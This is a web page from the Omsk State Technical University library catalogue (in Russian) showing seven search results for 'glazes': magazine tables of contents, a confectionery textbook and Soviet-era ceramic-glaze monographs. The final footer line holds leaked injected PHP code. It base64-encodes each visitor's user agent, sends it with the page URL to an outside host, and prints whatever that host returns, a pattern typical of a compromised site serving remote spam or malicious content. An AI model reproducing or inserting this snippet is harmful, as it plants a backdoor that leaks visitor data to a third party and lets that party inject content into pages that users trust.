Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

382 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=ГЛАЗУРИ")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 7
1. 
Крестьянка. - Журнал, 2011г. № 12
Оглавление 
  • [Письма читателей]. - с.2
  • Голливудская березка. - с.6
  • Пряное Рождество. - с.8
  • Привет, Дракоша!. - с.10
  • 12 белых дней декабря. - с.11
  • Морозы в самом расцвете сил. - с.12-19
  • Леонидова, Анна. 5 фильмов про сбывшиеся мечты / А. Леонидова. - с.20
  • Прокофьева, Елена. Книжные новинки / Е. Прокофьева. - с.22
  • Волкова, Екатерина. Надо верить в лучшее / Е. Волкова. - с.24-27
  • Прокофьева, Елена. Второе дыхание / Е. Прокофьева. - с.28-30
  • Чистова, Анна. Сотканный из света / А. Чистова. - с.32
  • Санжарова, Оксана. Нежный шик / О. Санжарова. - с.34-36
  • Праздник к нам приходит. - с.38
  • Санжарова, Оксана. Елочный базар / О. Санжарова. - с.40-41
  • 8 веселых оленей. - с.42
  • Крыслова, Любовь. Все в глазури / Л. Крыслова. - с.44
  • Валерия. Капелькою каши / Валерия. - с.46-47
  • Людковская, Анна. Солнечный круг / А. Людковская. - с.48-49
  • Тарелкина, Катя. Три кита новогоднего застолья / К. Тарелкина. - с.50-51
  • Людковская, Анна. Как игрушки / А. Людковская. - с.52-55
  • Оливье плюс. - с.56-57
  • Денисова, Елена. Новолетний стол / Е. Денисова. - с.58-59
  • Сладкий кусок. - с.60
  • Глебова, Ольга. Душистый шарик / О. Глебова. - с.62
  • Козлова, Анна. Сказано и сделано / А. Козлова. - с.64-65
  • Кортнев, Алексей. Розы и слезы / А. Кортнев. - с.66-67
  • Парфенов, Леонид. Настроение эпохи / Л. Парфенов. - с.68-69
  • Вендландт, Астрид. Север, мон амур / А. Вендландт. - с.70-71
  • Брагинская, Светлана. Мы - из будущего / С. Брагинская. - с.72-73
  • Чистова, Анна. Музыка неба / А. Чистова. - с.74-75
  • Дени, Александр. История одного маскарада / А. Дени. - с.76-79
  • Леонидова, Анна. Быть по-моему вели / А. Леонидова. - с.80-81
  • Домашние придумщики. - с.82-83
  • Разгаданные желания. - с.84, 86
  • Снежная королева. - с.88-89
  • Шаг навстречу. - с.90
  • Великолепная пятерка. - с.92-93
  • [Здоровье]. - с.94
  • В свое удовольствие. - с.96
  • Отдых без давления. - с.97
  • Добролет, Дарья. Курс на обновление / Д. Добролет. - с.98-99
  • 12 прохладных прикосновений. - с.100
  • Леонидова, Анна. На деревню, дедушки! / А. Леонидова. - с.102-103
  • аль-Шимари, Елена. Император мандарин / Е. аль-Шимари. - с.104-105
  • аль-Шимари, Елена. Нарядные сугробы / Е. аль-Шимари. - с.106-107
  • Леонидова, Анна. Венский звон / А. Леонидова. - с.108-109
  • [Фотоконкурс]. - с.110-111
Держатели документа (Информация об экземплярах) 
2. 
Кондитерское и хлебопекарное производство. - Журнал, 2006г. № 10
Оглавление 
  • Бакуменко, О. Е. Зерновой крекер, обогащенный пищевыми волокнами / О. Е. Бакуменко, А. Ф. Доронин, Ю. М. Плаксин. - с.1
  • Корячкина, С. Я. Совершенствование технологии выработки хлеба из целого зерна злаковых культур / С. Я. Корячкина, Е. А. Кузнецова, Ю. В. Гончаров. - с.3-6
  • Бойцова, Е. Е. Применение жиров "СОЮЗ" при производстве конфет "Ассорти" / Е. Е. Бойцова, Л. И. Степанова. - с.8-9
  • Васькина, В. А. Влияние фритюрных масел на качество сладости "Чак-чак" / В. А. Васькина, Н. А. Байтерякова, Д. В. Руденицкий. - с.10-12
  • Ливинский, А. А. Совершенствование технологии производства мучных кондитерских изделий / А. А. Ливинский. - с.14
  • Бороденкова, М. С. Жиры для производства глазури / М. С. Бороденкова. - с.15-16
Держатели документа (Информация об экземплярах) 
3. 
Пирожные. Кремы. Глазури. Помадка [Текст] / дар. В. А. Козлова, 2000. - 78, [1] с.
Держатели документа (Информация об экземплярах) 
4. 
Глозман И.А. Производство гончарной глазури [Текст] / И. А. Глозман, Г. С. Палагин, 1944. - 16 с. с.
Держатели документа (Информация об экземплярах) 
5. 
Шестакова Т. И. Кондитер-профессионал [Текст] : учеб. пособие / Т. И. Шестакова, 2006. - 399 с.
Ключевые слова 
МУКА ПШЕНИЧНАЯ -- МУКА СОЕВАЯ -- МУКА кукурузная -- КРАХМАЛ -- глюкоза -- фруктоза -- ПОДСЛАСТИТЕЛЬ -- патока крахмальная -- МЕД -- МОЛОКО -- ПРОДУКТЫ МОЛОЧНЫЕ -- МАСЛО СЛИВОЧНОЕ -- ЖИРЫ -- ЯЙЦА -- ЯЙЦЕПРОДУКТЫ -- ПРОДУКТЫ ВКУСОВЫЕ -- КИСЛОТА ПИЩЕВАЯ -- ВЕЩЕСТВА АРОМАТИЧЕСКИЕ -- РАЗРЫХЛИТЕЛЬ -- ФРУКТЫ -- ЦУКАТЫ -- КРУПА -- ОРЕХИ -- МАК -- УЛУЧШИТЕЛЬ хлебобулочных изделий -- ДОБАВКА БИОЛОГИЧЕСКИ АКТИВНА -- СЛИВКИ -- ИЗДЕЛИЯ КОНДИТЕРСКИЕ -- ФАРШ -- ТЕСТО дрожжевое -- КУЛИЧИ -- БАБА РОМОВАЯ -- ТЕСТО бездрожжевое -- ВАТРУШКА -- ТЕСТО ПРЯНИЧНОЕ -- ТЕСТО ПЕСОЧНОЕ -- БИСКВИТ -- ТЕСТО ЗАВАРНОЕ -- ТЕСТО СЛОЕНОЕ -- волованы -- ФРИТЮР -- ПЕЧЕНЬЕ -- КЕКС -- ПИЦЦА -- СЛАДОСТИ ВОСТОЧНЫЕ -- СИРОП -- помадка -- ГЛАЗУРИ -- мастика -- КАРАМЕЛЬ -- кандир для сахарных фигур -- грильяж -- ЖЕЛЕ -- марципан -- ШОКОЛАД -- посыпки -- КРЕМ -- ПИРОЖНЫЕ -- ТОРТЫ
Держатели документа (Информация об экземплярах) 
6. 
Галкин П.И. Легкоплавкие бессвинцовые и малосвинцовые глазури [Текст] / П. И. Галкин, 1943. - 32 с. с.
Держатели документа (Информация об экземплярах) 
7. 
Глазури, их производство и применение [Текст] / Акад. наук Латв. ССР, 1964. - 249, [2] с.
Ключевые слова 


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 2847 - 27.03.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 0.77 с.16 запросов, 0.58c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;